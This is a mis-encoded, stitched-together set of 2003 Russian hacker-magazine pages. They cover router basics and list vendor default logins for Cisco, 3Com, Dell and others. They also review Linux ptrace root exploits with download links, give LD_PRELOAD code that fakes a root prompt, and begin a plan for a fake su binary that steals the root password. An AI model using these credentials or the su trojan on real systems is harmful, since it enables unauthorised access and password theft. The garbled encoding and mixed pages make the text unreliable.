òîëüêî íà ðîóòåðàõ îò Cisco.<br />
BGP êðóò òåì, ÷òî ïîçâîëÿåò þçàòü ñðàçó íåñêîëüêî<br />
êàíàëîâ âûõîäà â èíòåðíåò, òàê ÷òî åñëè îäèí<br />
èç ïðîâàéäåðîâ, ïðåäîñòàâëÿþùèõ äîñòóï, çàãíåòñÿ,<br />
òî ìîæíî áóäåò áåç ïðîáëåì ïåðåáèòü âíóòðåííèå<br />
êàíàëû äîñòóïà ñ óìåðøåãî íà ðàáî÷èå.<br />
Äîïóñòèì, òû ïðîäàåøü ÷àñû ñâîèõ ïðîâàéäåðîâ<br />
þçåðàì ðàéîííîé ëîêàëêè. Åñëè òåáå íå áóäåò<br />
õâàòàòü ïðîïóñêíîé ñïîñîáíîñòè óæå èìåþùåãîñÿ<br />
êàíàëà, òî òû ñìîæåøü ïðîòÿíóòü ñåáå âûäåëåíêè<br />
äðóãèõ ïðîâàéäåðîâ è çàïðîñòî èíòåãðèðóåøü èõ â<br />
óæå èìåþùóþñÿ ñåòü, ðàñïðåäåëÿÿ òàêèì îáðàçîì<br />
íàãðóçêó íà êàíàëû. Îäíàêî è ó BGP åñòü ñâîè íåäîñòàòêè.<br />
Íàïðèìåð, àóòåíòèôèêàöèÿ îòñóòñòâóåò<br />
êàê êëàññ, òàê ÷òî åñëè êàêîé-íèáóäü çëûäåíü â<br />
òâîåé ñåòêå ìàëåíüêî ïîñïóôèò è çàïóñòèò â ñåòü<br />
ëåâóþ òàáëèöó ìàðøðóòèçàöèè, òî äðóãèå ðîóòåðû<br />
ïðîãëîòÿò åå áåç ëèøíèõ âîïðîñîâ. Âîïðîñû âîçíèêíóò<br />
ó òåáÿ: êîãî, ÷åì è êàê äîëãî :).<br />
OVERLOAD WFQ!<br />
×òî æå äåëàåò ðîóòåð, åñëè ïîëó÷àåò ïàêåòû áûñòðåå,<br />
÷åì ìîæåò èõ ïåðåäàòü Ðàññìîòðèì ñëó-<br />
÷àé, êîãäà ñðàçó íåñêîëüêèì ïîëüçîâàòåëÿì çàõîòåëîñü<br />
ñêèíóòü íà êîìï ïðèÿòåëÿ ìàíóàëû ïî íàñòðîéêå<br />
ðó÷êè ñëèâíîãî áà÷êà :). Ðîóòåð, ïîëó÷àÿ<br />
ñðàçó ñ íåñêîëüêèõ âõîäíûõ èíòåðôåéñîâ çàïðîñû<br />
íà ïåðåäà÷ó â îäèí âûõîäíîé èíòåðôåéñ, ïîìåùàåò<br />
èõ â îäíó î÷åðåäü - áóôåð. Äëÿ òîãî ÷òîáû<br />
âîâðåìÿ ïåðåäàòü âñþ èíôîðìàöèþ, èñïîëüçóåòñÿ<br />
àëãîðèòì "×åñòíîé âçâåøåííîé î÷åðåäè" -<br />
Weighted Fair Queue. Ðîóòåðû èìåþò ïî íåñêîëüêó<br />
î÷åðåäåé äëÿ êàæäîãî âûõîäíîãî èíòåðôåéñà è<br />
ïî îäíîé î÷åðåäè íà êàæäîãî îòïðàâèòåëÿ. Êàê<br />
òîëüêî ðîóòåð ðàñïðàâèòñÿ ñ îäíîé, îí áåðåò ñëåäóþùóþ,<br />
è ò.ä. Â ìîäèôèöèðîâàííûõ âåðñèÿõ<br />
ýòîãî àëãîðèòìà ïîçâîëÿåòñÿ ñîðòèðîâêà î÷åðåäåé<br />
â ñîîòâåòñòâèè ñ èõ ïðèîðèòåòîì.<br />
ÀËÃÎÐÈÒÌÛ<br />
Àëãîðèòìû ìàðøðóòèçàöèè ìîãóò áûòü ðàçëè÷íîãî<br />
òèïà: ñòàòè÷åñêèìè - äèíàìè÷åñêèìè, îäíîóðîâíåâûìè<br />
- ìóëüòèóðîâíåâûìè, îäíîìàðøðóòíûìè<br />
- ìóëüòèìàðøðóòíûìè, îäíîàäðåñíûìè -<br />
ãðóïïîâûìè.<br />
Äàâàé òåïåðü ðàçáèðàòü, ÷åãî ýòî ìû<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÌÀÐØÐÓÒÈÇÀÒÎÐÛ: ÁÎËÜØÈÅ È Î×ÅÍÜ ÁÎËÜØÈÅ<br />
Òóòêàáàåâ Åðêåáóëàí (streetseeker@mail.ru)<br />
òóò íàòâîðèëè. Äëÿ íà÷àëà âîçüìåì ñòàòè÷åñêèå<br />
(èõ åùå íàçûâàþò íåàäàïòèâíûå) è äèíàìè÷åñêèå<br />
àëãîðèòìû ìàðøðóòèçàöèè. Ìàðøðóòèçàöèþ<br />
ìîæíî çàäàòü ðó÷êàìè, ñòàòè÷íî, íî òàêàÿ ðåàëèçàöèÿ<br />
òàèò â ñåáå óãðîçó ñêîðîãî âèçèòà ê ïñèõîòåðàïåâòó,<br />
â ñëó÷àå, åñëè àäìèíèñòðèðóåìàÿ<br />
ñåòü áîëüøàÿ. Ïðåäñòàâü, òû äîáàâèë ïàðó óçëîâ<br />
è... òåïåðü äàâàé ïåðåáèâàé òàáëèöû íà âñåõ ðîóòåðàõ<br />
â ñâîåé ñåòè. Äèíàìè÷åñêèå æå àëãîðèòìû<br />
ðàçëè÷àþò ïî ñïîñîáó ïîëó÷åíèÿ èíôîðìàöèè:<br />
îò ñîñåäíèõ ðîóòåðîâ, îò âñåõ ðîóòåðîâ ñðàçó;<br />
ïî ìîìåíòó èçìåíåíèÿ ìàðøðóòîâ - ÷åðåç îïðåäåëåííûå<br />
èíòåðâàëû âðåìåíè, ïðè èçìåíåíèè<br />
òîïîëîãèè; ïî èñïîëüçóåìîé ìåòðèêå - êîëè÷åñòâî<br />
õîïîâ, ôèçè÷åñêîå ðàññòîÿíèå, âðåìÿ çàäåðæêè<br />
ïåðåäà÷è ïàêåòà.  ëþáîì ñëó÷àå, äèíàìè÷åñêèé<br />
àëãîðèòì ìàðøðóòèçàöèè ÿâëÿåòñÿ àâòîìàòè-<br />
÷åñêèì, òàê ÷òî åñëè òâîè ðîóòåðû ïîääåðæèâàþò<br />
äèíàìè÷åñêóþ ìàðøðóòèçàöèþ - âêëþ÷àé íå ðàçäóìûâàÿ.<br />
Äàëåå, îäíîóðîâíåâûé àëãîðèòì îçíà÷àåò, ÷òî<br />
âñÿ ñåòü ÿâëÿåòñÿ îäíîðàíãîâîé, ò.å. âñå ñåãìåíòû<br />
èìåþò îäèíàêîâûé ïðèîðèòåò. Ìóëüòèóðîâíåâûé<br />
àëãîðèòì - â ñåòè èìååòñÿ íåñêîëüêî óðîâíåé<br />
ìàðøðóòèçàòîðîâ. Òî åñòü â ñåòè íàõîäÿòñÿ ìàðøðóòèçàòîðû<br />
âåðõíåãî óðîâíÿ, ÿâëÿþùèåñÿ îñíîâíîé<br />
ìàãèñòðàëüþ ïåðåäà÷è äàííûõ, è íàõîäÿùèåñÿ<br />
ïîä íèìè ìàðøðóòèçàòîðû íèçêîãî êëàññà, îñóùåñòâëÿþùèå<br />
íåïîñðåäñòâåííóþ äîñòàâêó ïàêåòîâ<br />
àäðåñàòàì. Îáû÷íî ïðèìåíÿåòñÿ, åñëè â ñåòè íàõîäèòñÿ<br />
Î×ÅÍÜ áîëüøîå êîëè÷åñòâî óçëîâ. Ïåðåäîõíè,<br />
ñäåëàé ïàðó ãëîòêîâ æèâèòåëüíîé ïåíèñòîé<br />
âëàãè - ïðîäîëæàþ ñûïàòü îïèëêè íà òâîè ìîçãè.<br />
Îäíîìàðøðóòíûé àëãîðèòì îçíà÷àåò, ÷òî îí áóäåò<br />
ïðåäëàãàòü òîëüêî îäèí ìàðøðóò, â òî âðåìÿ<br />
êàê ìóëüòèìàðøðóòíûé àëãîðèòì áóäåò ðàññìàòðèâàòü<br />
íåñêîëüêî âàðèàíòîâ, è, èñõîäÿ èç èìåþùèõñÿ<br />
äàííûõ ïî çàãðóæåííîñòè ó÷àñòêîâ ñåòè,<br />
âûáåðåò îïòèìàëüíûé ïóòü.<br />
Îäíîàäðåñíûé - ãðóïïîâîé. Îäíîàäðåñíûé àëãîðèòì<br />
ïåðåäàåò â êà÷åñòâå ïîëó÷àòåëÿ òîëüêî îäèí àäðåñ, à<br />
ãðóïïîâîé ïîçâîëÿåò óêàçàòü â êà÷åñòâå ïîëó÷àòåëÿ<br />
ñðàçó íåñêîëüêèõ ïîëüçîâàòåëåé (multicast).<br />
ÂÈÄÛ ÌÀÐØÐÓÒÈÇÀÒÎÐÎÂ<br />
Íà êàðòèíêå cisco12000series router -<br />
áîëüøîé è ìîùíûé<br />
Ëèíêè<br />
Åñëè òåìà òåáÿ çàèíòåðåñîâàëà,<br />
è òû õî÷åøü<br />
çíàòü áîëüøå, ñîâåòóþ<br />
ïîñåòèòü ñëåäóþùèå<br />
ñàéòû: www.citforum.ru,<br />
www.hub.ru, www.ixbt.ru,<br />
www.osp.ru.<br />
Òàì ìàòåðèàë ïðåäñòàâëåí<br />
î÷åíü âíÿòíî è äîõîä÷èâî,<br />
è äàæå îïûòíûé<br />
àäìèí ñìîæåò ïî-<br />
÷åðïíóòü äëÿ ñåáÿ ÷òîòî<br />
íîâîå. Ðàçóìååòñÿ,<br />
ìàðøðóòèçàöèÿ - äåëî<br />
íåëåãêîå, è åñëè ó òåáÿ<br />
åñòü êàêèå-òî ñëîæíîñòè<br />
ñ íàñòðîéêîé ðîóòåðîâ<br />
- ïèøè ìíå, ïîìîãó.<br />
Ìàðøðóòèçàòîðû êëàññèôèöèðóþòñÿ ïî âèäàì ðåàëèçàöèè<br />
ñ ðàçíûìè âîçìîæíîñòÿìè è, ñîîòâåòñòâåííî,<br />
öåíàìè. Èõ ðàçäåëÿþò íà òðè êëàññà: âåðõíèé,<br />
ñðåäíèé è íèæíèé. Ðîóòåðû âåðõíåãî óðîâíÿ<br />
èìåþò âûñîêóþ ïðîèçâîäèòåëüíîñòü, ïîääåðæèâàþò<br />
õðåíîâó òó÷ó èíòåðôåéñîâ è ïðîòîêîëîâ, è<br />
ïîçâîëÿþò âîòêíóòü ñåáå â çàä äî 50 ëîêàëüíûõ<br />
èëè ãëîáàëüíûõ êàáåëåé. Ïðî öåíó ñêàæó îäíî: íà<br />
íèõ òû íå ñîáåðåøü, äàæå åñëè òîëêíåøü êîìï,<br />
ïîäðóæêó, îáå ïî÷êè è ïðàâîå ÿè÷êî.<br />
Ðîóòåðû ñðåäíåãî óðîâíÿ ïîçâîëÿþò ðåàëèçîâàòü<br />
áîëåå ñêðîìíóþ ñåòü âíóòðè ïðåäïðèÿòèÿ. Îáû÷íî<br />
â íèõ 3 ëîêàëüíûõ è 3 ãëîáàëüíûõ ïîðòà. Ñîîòâåòñòâåííî<br />
óìåíüøèëîñü è êîëè÷åñòâî ïîääåðæèâàåìûõ<br />
ïðîòîêîëîâ - íå íàäåéñÿ ïîäêëþ÷èòü ê<br />
íèì êàêóþ-íèáóäü ýêçîòèêó. Öåíà óæå áîëåå èëè<br />
ìåíåå ïðèåìëåìàÿ, íî, òåì íå ìåíåå, äëÿ îáû÷íîãî<br />
àäìèíà ëîêàëüíîé ñåòêè äîðîãîâàòî.<br />
Ðîóòåðû íèæíåãî óðîâíÿ óæå ïðåäñòàâëÿþò ðåàëüíûé<br />
èíòåðåñ äëÿ íàøèõ àäìèíîâ, ïîñêîëüêó, â<br />
ïðèíöèïå, çà íåáîëüøîå êîëè÷åñòâî êàïóñòû<br />
ìîæíî ïîëó÷èòü ñêðîìíûé (íî ðððàáîòàþùèé!!!<br />
:)) äåâàéñ. Âîò åãî ïðèìåðíûå õàðàêòåðèñòèêè: 1,<br />
ðåæå 2 ëîêàëüíûõ ïîðòà è 2 èëè 3 ãëîáàëüíûõ<br />
ïîðòà. Ðîóòåðû äàííîãî êëàññà ñïåöèàëüíî ñïðîåêòèðîâàíû<br />
äëÿ ïðåäîñòàâëåíèÿ âûõîäà â èíåò ïî<br />
íèçêîñêîðîñòíûì âûäåëåíêàì.  êà÷åñòâå ìàðøðóòèçàòîðà<br />
òàêîãî óðîâíÿ ìîæåò âûñòóïèòü multihomed<br />
âîðêñòåéøí èëè ñåðâåð ñ óñòàíîâëåííûì<br />
ñïåöñîôòîì.<br />
×ÒÎ ÊÓÏÈÒÜ<br />
Ñåé÷àñ ðàñêëàä íà ðûíêå ðîóòåðîâ òàêîé: â îñíîâíîì<br />
äîìèíèðóåò Cisco Systems, ïðè÷åì îíà<br />
îòõâàòèëà ïîä ñåáÿ ïðàêòè÷åñêè âåñü ñïåêòð, íà-<br />
÷èíàÿ îò ìîùíûõ è äîðîãóùèõ Cisco 12000 Series<br />
äî íåáîëüøèõ è êîìïàêòíûõ Cisco SOHO 9x è<br />
Cisco 800.<br />
Èçîáðàæåíû äâà áëîêà îäíîãî ðîóòåðà<br />
Íàäî îòìåòèòü, ÷òî â îñíîâíîì ó Cisco âñå ìîäåëè<br />
äîâîëüíî óäà÷íûå è íå âûçûâàþò îñîáûõ íàðåêàíèé,<br />
õîòÿ è åñòü íåêîòîðûå òðàáëû ñ ñåêüþðíîñòüþ,<br />
íî îá ýòîì â ñëåäóþùèé ðàç.<br />
ÏÎÊËÎÍ ÄÜßÂÎËÓ<br />
Äëÿ íà÷àëà ñêàæó, ÷òî êàê âñåãäà, îñíîâíîé ïðîáëåìîé<br />
îñòàþòñÿ ïàðîëè, îñòàâëÿåìûå ïî äåôîëòó.<br />
Ïîìíè, ÷òî âñå ýòî - èñêëþ÷èòåëüíî â öåëÿõ<br />
ñàìîîáðàçîâàíèÿ! ;) Âîò òåáå íåêîòîðûå èç íèõ:<br />
Ôèðìà Òèï Îñü<br />
Ëîãèí Ïàðîëü<br />
Cisco Ïîä ëþáîé ðîóòåð èëè ñâèò÷ Âåðñèÿ Îñè<br />
10-12 cisco cisco<br />
CISCO Network Registrar 3.0<br />
ADMIN changeme<br />
Cisco VPN 3000 Concentrator<br />
admin admin<br />
Cisco Net Ranger 2.2.1 Sol 5.6<br />
root attack<br />
Bintec Ïîä ëþáîé ðîóòåð<br />
admin bintec<br />
ACC Ïîä ëþáîé ðîóòåð<br />
netman netman<br />
3COM Switch 3000/3300<br />
manager manager<br />
Dell PowerVault 50F WindRiver<br />
root calvin<br />
Intel Ïîä ëþáîé ðîóòåð<br />
ëîãèíà íåò babbit<br />
ÝÏÈ.LOG<br />
Òåïåðü òû â êóðñå, ÷òî æå ýòî òàêîå, ðîóòåðû. ×òî<br />
ñ îãóðöàìè îíè íè ê ÷åðòó :). Êàê òû ñàì ïîíèìàåøü,<br />
óñòðîéñòâî ñ òàêîé ñëîæíîé âíóòðåííåé àðõèòåêòóðîé<br />
èìååò ìàññó áàãîâ è... îíè äåéñòâèòåëüíî<br />
åñòü. Âêóñíîñòè õàêà ìàðøðóòèçàòîðà òû<br />
òîæå óæå íàâåðíÿêà ïðîñåê. Òàê ÷òî â ñëåäóþùåì<br />
íîìåðå æäè ñàìîå ñëàäêîå - âçëîì ðîóòåðîâ...<br />
1 2 3 4<br />
80 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Âçëîì<br />
ÎÁÇÎÐ<br />
<br />
ÝÊÑÏËÎÈÒÎÂ<br />
Ýêñïëîèòîâ â ñåòè áåñ÷èñëåííîå ìíîæåñòâî, íî âñå îíè äåëÿòñÿ íà äâå êàòåãîðèè: ïóáëè÷íûå è ïðèâàòíûå. Òðåòüåãî ïðîñòî<br />
íå äàíî. Â ïðèâàòíóþ êàòåãîðèþ âõîäÿò ñàìûå íîâûå è óáîéíûå ïî ñèëå ýêçåìïëÿðû, ãîòîâûå â ëþáîé ìîìåíò óëîæèòü ñåðâåð<br />
íà ëîïàòêè. Îñòàëüíûå ýêñïëîèòû âûêëàäûâàþòñÿ â îáùåäîñòóïíûõ ìåñòàõ, âðîäå: bugtraq, ftp/web àðõèâû è ò.ä. Èõ ïóáëèêàöèÿ<br />
îáóñëàâëèâàåòñÿ ðàçíûìè ïðè÷èíàìè: âðåìåííûìè, ïîòåðÿ àêòóàëüíîñòè áàãè è ò.ä. Âïåðåìåøêó ñ ðàáî÷èìè ýêñïëîèòàìè<br />
âñòðå÷àþòñÿ ôåéêîâûå (ïîääåëüíûå) ëèáî ïðîòðîÿíåííûå âåðñèè, çàïóñê êîòîðûõ íà äîâåðåííîé ìàøèíå ìîæåò îáåðíóòüñÿ<br />
ôàòàëüíûì èñõîäîì. Ýòà ñòàòüÿ ïîìîæåò òåáå ñîðèåíòèðîâàòüñÿ â îãðîìíîì àññîðòèìåíòå ïóáëè÷íûõ ïðîãðàìì.<br />
ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ<br />
Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)<br />
PTRACE-KMOD EXPLOIT<br />
Îïèñàíèå:<br />
Èòàê, ïåðâûé ýêñïëîèò, êîòîðûé ÿ õîòåë áû<br />
îïèñàòü, íîñèò ãîðäîå èìÿ ptrace-kmod exploit.<br />
Êàê òû, íàâåðíîå, äîãàäàëñÿ, ýòî ïðîäîëæåíèå<br />
öåïî÷êè ìíîãî÷èñëåííûõ ïðîãðàìì,<br />
èñïîëüçóþùèõ ëîêàëüíóþ óÿçâèìîñòü ptrace â<br />
ÿäðå Linux. Ïðåëåñòü ýòîãî ýêçåìïëÿðà â òîì, ÷òî<br />
îí ñïîñîáåí âçÿòü ðóòîâûå ïðàâà íà ÿäðàõ 2.2.x è<br />
2.4.x (äî 2.4.20 âêëþ÷èòåëüíî). Âäàâàòüñÿ â<br />
ðóòèííûé ìåõàíèçì åãî ðàáîòû ÿ íå áóäó, ïðîñòî<br />
ñêàæó ñî ñëîâ ðàçðàáîò÷èêîâ: ýêñïëîèò<br />
èñïîëüçóåò óÿçâèìîñòü ÿäðà, çàêëþ÷àþùóþñÿ â<br />
íåáåçîïàñíîì ñîçäàíèè ïðîöåññà-ïîòîìêà. Â<br />
ðåçóëüòàòå ìû ïîëó÷àåì root-ïðàâà íà óäàëåííîé<br />
ñèñòåìå.<br />
Çàùèòà:<br />
Îáåçîïàñèòü ñåáÿ îò ýòîé óÿçâèìîñòè ìîæíî<br />
ïóòåì óñòàíîâêè ÿäðà 2.4.21, ëèáî ñêà÷êîé è<br />
ïîñëåäóþùåé óñòàíîâêîé ñïåöèàëüíûõ ïàò÷åé,<br />
êîòîðûå ìîæíî íàéòè â bugtraq'àõ. Åùå ðàç<br />
ïîâòîðþñü, ÷òî ýêñïëîèò àêòóàëåí ëèøü äëÿ linuxïëàòôîðì.<br />
Ññûëêè:<br />
http://packetstormsecurity.nl/0304-exploits/ptracekmod.c<br />
- ïåðâàÿ ðàáî÷àÿ âåðñèÿ ýêñïëîèòà.<br />
http://packetstormsecurity.nl/0304-exploits/myptrace.c<br />
- åùå îäèí ðåëèç; ïî ñëîâàì<br />
ðàçðàáîò÷èêîâ, ÿâëÿåòñÿ áîëåå ýôôåêòèâíûì<br />
(áûëè ñäåëàíû íåêîòîðûå èçìåíåíèÿ ïî äîñòóïó ê<br />
äèðåêòîðèè /proc).<br />
Çëîêëþ÷åíèå:<br />
Ðåâîëþöèîííàÿ âåùü. Åñëè ó÷åñòü èíåðòíîñòü<br />
íàøèõ àäìèíîâ, ìîæíî óâåðåííî ñêàçàòü, ÷òî ýòîò<br />
ýêñïëîèò áóäåò àêòóàëåí êàê ìèíèìóì ïîëãîäà.<br />
Greets:<br />
Äðóæíî áëàãîäàðèì çà ñîçäàíèå ýòîé ðóëåçíîé<br />
òóëçû íàøåãî áðàòà ïî ðàçóìó èç Ïîëüøè ïî<br />
èìåíè Wojciech Purczynski (cliph@isec.pl).<br />
Ïåðåä ýòèì ýêñïëîèòîì íå óñòîèò äàæå<br />
ñàìîå ñòîéêîå ÿäðî!<br />
SAMBAL EXPLOIT<br />
Îïèñàíèå:<br />
Íà âòîðîì ìåñòå - óäàëåííûé ýêñïëîèò äëÿ<br />
ñåðâèñà Samba v.
Þíèêñîèä<br />
ÕÀÊÅÐ\¹52\Ìàé\2003<br />
ÇÀÏÀÄËÎ Â LINUX<br />
Forb (forb@real.xakep.ru)<br />
Íà÷àòü ýòó ñòàòüþ õîòåëîñü<br />
áû ñ áàíàëüíîé,<br />
âñåì èçâåñòíîé ïîñëîâèöû:<br />
"Äåëó - âðåìÿ, ïîòåõå<br />
- ÷àñ". Âåäü ñîãëàñèñü,<br />
òåáå âðåìåíàìè õî÷åòñÿ<br />
ñäåëàòü ÷òî-òî íåõîðîøåå,<br />
äðóãèìè ñëîâàìè,<br />
óñòðîèòü êîìó-íèáóäü<br />
ïîäëÿíêó :). Åñëè òàê, òî<br />
ýòà ñòàòüÿ äëÿ òåáÿ. Èñïîëüçóÿ<br />
ôè÷è òâîåé ëþáèìîé<br />
Îñè (ÿ íàäåþñü, òû<br />
ïîíèìàåøü, î ÷åì èäåò<br />
ðå÷ü) òû ìîæåøü ðåàëüíî<br />
ïðèêîëîòüñÿ íàä òîâàðèùåì<br />
è äàæå â êàêîé-òî<br />
ñòåïåíè óäèâèòü åãî.<br />
Òîëüêî ïîìíè, ÷òî çëîé<br />
àäìèíèñòðàòîð õóæå òàòàðèíà<br />
:), ïîýòîìó îñòåðåãàéñÿ<br />
ëåòÿùèõ â òåáÿ õàáîâ<br />
èëè êëàâèàòóð.<br />
Çàïàäëî<br />
â Linux<br />
Èçó÷àåì íîâûå ïîäëÿíêè!<br />
Èòàê, ðàññìîòðèì äâå çàïîäëÿíñêèå øòó÷êè, êîòîðûå<br />
òîëüêî è æäóò ñâîþ æåðòâó. Ñ ïîìîùüþ ïåðâîé ìîæíî<br />
äîâåñòè ñâîåãî àäìèíà äî ïîëíîé àïàòèè è ìûñëè î òîì,<br />
÷òî íå ñóùåñòâóåò çàùèùåííîé ñèñòåìû, à âòîðàÿ ïðè<br />
îïðåäåëåííûõ îáñòîÿòåëüñòâàõ ìîæåò óâåñòè root-ïàðîëü.<br />
Íî îáî âñåì ïî ïîðÿäêó.<br />
Bug â LD_PRELOAD<br />
Íàçûâàòü ýòó îòëè÷èòåëüíóþ îñîáåííîñòü áàãîì óæå íå<br />
ñîâñåì ïðàâèëüíî. Áàãòðàê çíàåò î íåì, è âñå ñèñòåìû<br />
òîæå :). Íî ïîñëåäñòâèÿ, êîòîðûå îí âûçûâàåò, ìîãóò ðåàëüíî<br />
äîâåñòè òâîåãî àäìèíà äî èíôàðêòà (èëè çàïîÿ,<br />
çàâèñèò îò åãî õàðàêòåðà). Ñìûñë â òîì, ÷òî ïèøåòñÿ<br />
áèáëèîòåêà ñî ñëåäóþùèìè ôóíêöèÿìè: getuid, getgid,<br />
geteuid è getegid, âîçâðàùàþùèå 0. Ïðè óìåëîì èõ ïîäãðóæåíèè<br />
ñèñòåìà îïîçíàåò ïîëüçîâàòåëÿ êàê root. Íî ýòî<br />
òîëüêî íà ïåðâûé âçãëÿä. Íà ñàìîì äåëå, çàìåùåíèå<br />
ñèñòåìíûõ ôóíêöèé èäåò òîëüêî äëÿ íåSUIDíûõ ïðîãðàìì,<br />
òî åñòü áåç çàêðåïëåííîãî íà íèõ ôëàãà +s, ïîçâîëÿþùèõ<br />
âûïîëíÿòü áèíàðíèê c ïðàâàìè owner’à. Íî àäìèíû<br />
îáû÷íî íàðîä ëåíèâûé, áàãòðàêè ÷èòàþò ðåäêî, è<br />
ýòà ôèøêà ìîæåò âûçâàòü ó íèõ íåêîòîðîå óäèâëåíèå =).<br />
Èòàê, áëèæå ê òåëó. Äëÿ îñóùåñòâëåíèÿ ñòîëü ãðÿçíîé<br />
ìàõèíàöèè ñîçäàäèì ïðîãðàììó íà C, ïðèìåðíî ñëåäóþùåãî<br />
ñîäåðæàíèÿ:<br />
int getuid() { return (0); }<br />
int getgid() { return (0); }<br />
int geteuid() { return (0); }<br />
int getegid() { return (0); }<br />
Íå óäèâëÿéñÿ îòñóòñòâèþ â ñèøíèêå ôóíêöèè main() - åå<br />
íåò, òàê êàê ôàéë áóäåì êîìïèëèòü ñ ôëàãîì "shared",<br />
÷òî ïîçâîëèò åìó ïîäêëþ÷àòüñÿ ê äðóãèì áèíàðíèêàì.<br />
Êîìïèëèì:<br />
gcc -shared fake.c -o fake.so,<br />
ïîëó÷àÿ òåì ñàìûì ïîëíîöåííóþ áèáëèîòåêó fake.so (åñòåñòâåííî,<br />
÷òî èìÿ ñèøíèêà äîëæíî áûòü fake.c).<br />
Çàòåì âûïîëíèì íåïîñðåäñòâåííîå ïîäêëþ÷åíèå áèáëèîòåêè.<br />
Íàáåðåì ñëåäóþùóþ ñòðîêó:<br />
LD_PRELOAD=./fake.so /bin/bash<br />
È ÷òî æå ìû òåïåðü âèäèì Çàâåòíûé r00tîâûé prompt,<br />
òèïà [root@server user]#. Íè÷åãî óäèâèòåëüíîãî, ïðè îáðàáîòêå<br />
/etc/profile ñêðèïò óñïåøíî ñêóøàë ïåðåìåííóþ<br />
UID, êîòîðàÿ ñòàëà ðàâíîé íóëþ, ÷òî äàëî ïðàâî âûñòàâëÿòü<br />
prompt äëÿ ðóòà. Íî ôåéê åñòü ôåéê, ïîýòîìó ðàäîâàòüñÿ<br />
ðàíî. Ïðè âûïîëíåíèè êàêîé-ëèáî ïðèâèëåãèðîâàííîé<br />
îïåðàöèè òåáå ñêàæóò, ÷òî ó òåáÿ íåò ïðàâ. Íî<br />
âíåøíèé âèä î÷åíü âïå÷àòëÿåò, è ÿ ñïåðâà ïîäóìàë, ÷òî íà<br />
õàëÿâó ïîëó÷èë ðóòà, çàïóñòèâ îäèí åäèíñòâåííûé ôàéë :).<br />
Åñòåñòâåííî, â íåì âñå áûëî àâòîìàòèçèðîâàíî: êîìïèëÿöèÿ<br />
ïîääåëüíûõ ôóíêöèÿ+çàïóñê bash ñ áèáëèîòåêîé.<br />
Ñàìîå èíòåðåñíîå, îáðàùåíèå ê çàãðóæàåìûì ôóíêöèÿì<br />
ðàáîòàåò äëÿ âñåõ áèíàðíèêîâ áåç +s, â òîì ÷èñëå è id,<br />
ïîýòîìó æåðòâà ìîæåò ÷àñàìè ëþáîâàòüñÿ íà ñâîè ïðàâà<br />
=). Ïðè îáðàùåíèè æå ê áîëåå ñåðüåçíûì ôàéëàì, òàêèì<br />
êàê su, passwd è ò.ä. òåáÿ æäåò îáëîì-c. Äëÿ íèõ èñïîëüçóþòñÿ<br />
òîëüêî ñòàíäàðòíûå ôóíêöèè, äåëàÿ òåì ñàìûì<br />
ñèñòåìó áåçîïàñíîé. Ïîëüçû îò ýòîé øóòêè íèêàêîé, íî<br />
îíà ìîæåò áûòü óìåñòíà â êðèâûõ ñêðèïòàõ, êîòîðûå ïðîâåðÿþò<br />
ïåðåìåííóþ $UID íà íóëåâîå çíà÷åíèå :). Åñëè ýòî<br />
òàê, òî, âîçìîæíî, ñêðèïò ïîçâîëèò òåáå ñîâåðøèòü êàêèåëèáî<br />
ðóòîâûå äåéñòâèÿ. Ïîýòîìó õî÷ó äàòü íàïóòñòâèå<br />
ïðîãðàììèñòàì: íèêîãäà íå äåëàéòå ïðîñòóþ ïðîâåðêó<br />
ïðàâ ïîëüçîâàòåëÿ - âçëîìùèêè òîëüêî ýòîãî è æäóò.<br />
Õî÷åòñÿ îòìåòèòü, ÷òî ýòà ôèøêà ðàáîòàåò íå òîëüêî â<br />
Linux’å, íî è â SunOS è FreeBSD. Âîçìîæíî, â äðóãèõ<br />
ñèñòåìàõ òîæå, íî çà âûøåïåðå÷èñëåííûå ðó÷àþñü, òàê<br />
êàê ñîáñòâåííîðó÷íî òåñòèðîâàë íà íèõ.<br />
Ïèøåì ñâîé /bin/su<br />
Íà ýòîò ðàç çàéìåìñÿ áîëåå ñåðüåçíûìè âåùàìè, à òî÷íåå<br />
ïîïðîáóåì óâåñòè ïàðîëü àäìèíèñòðàòîðà ñèñòåìû,<br />
èìåÿ ïðè ýòîì ïðàâà îáû÷íîãî þçåðà (ðàçóìååòñÿ, ýòîò<br />
ãîòîâèì ëîâóøêó äëÿ þçåðà<br />
1 2 3 4<br />
82 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
LD_PRELOAD â ðàáîòå<br />
þçåð äîëæåí çíàòü ïàðîëü íà ðóòà è ïåðèîäè÷åñêè íà íåãî<br />
ñóèäèòüñÿ). Ñìûñë âñåé çàäóìêè â òîì, ÷òî ïèøåòñÿ<br />
ïîääåëüíûé áèíàðíèê su, õâàòàþùèé ïàðîëü ó ïîëüçîâàòåëÿ,<br />
ãîâîðÿùèé, ÷òî îí íåïðàâèëüíûé, è çàïèñûâàþùèé<br />
äàííûå â log, êîòîðûé òû âïîñëåäñòâèè ìîæåøü ïðî÷èòàòü.<br />
 ôèíàëüíîé æå ñòàäèè îí çàìåùàåò ñåáÿ ëèíêîì<br />
íà ðàáî÷èé /bin/su. Òû, íàâåðíîå, ïîäóìàåøü, ÷òî àäìèí<br />
ñðàçó çàáüåò òðåâîãó, êîãäà óâèäèò, ÷òî ïàðîëü íåâåðåí.<br />
ß òîæå òàê äóìàë, è õîòåë óæå áûëî çàìåíèòü ðóãàíü î<br />
íåâåðíîì ïàðîëå íà ñòðîêó segmentation fault èëè ÷òî-ëèáî<br />
ïîäîáíîå. Íî ïîòîì ìåíÿ îñåíèëî. Àäìèíû-òî íàðîä<br />
ëåíèâûé, à ïàðîëè ó íèõ äîâîëüíî ñëîæíûå (â áîëüøèíñòâå<br />
ñëó÷àåâ), ïîýòîìó áûâàþò è îøèáêè ïðè íàáîðå. À<br />
åñëè âòîðàÿ ïîïûòêà îêàæåòñÿ óñïåøíîé, òî àäìèí íå<br />
ïðèäàñò áîëüøîãî çíà÷åíèÿ ïåðâîé, ñêîðåå äàæå îáðàäóåòñÿ,<br />
÷òî åãî ñèñòåìà öåëà è íåâðåäèìà :). Ñëåäóþùàÿ<br />
ïðîáëåìà çàêëþ÷àåòñÿ â òîì, ÷òî òâîÿ ôàëüøèâêà áóäåò<br />
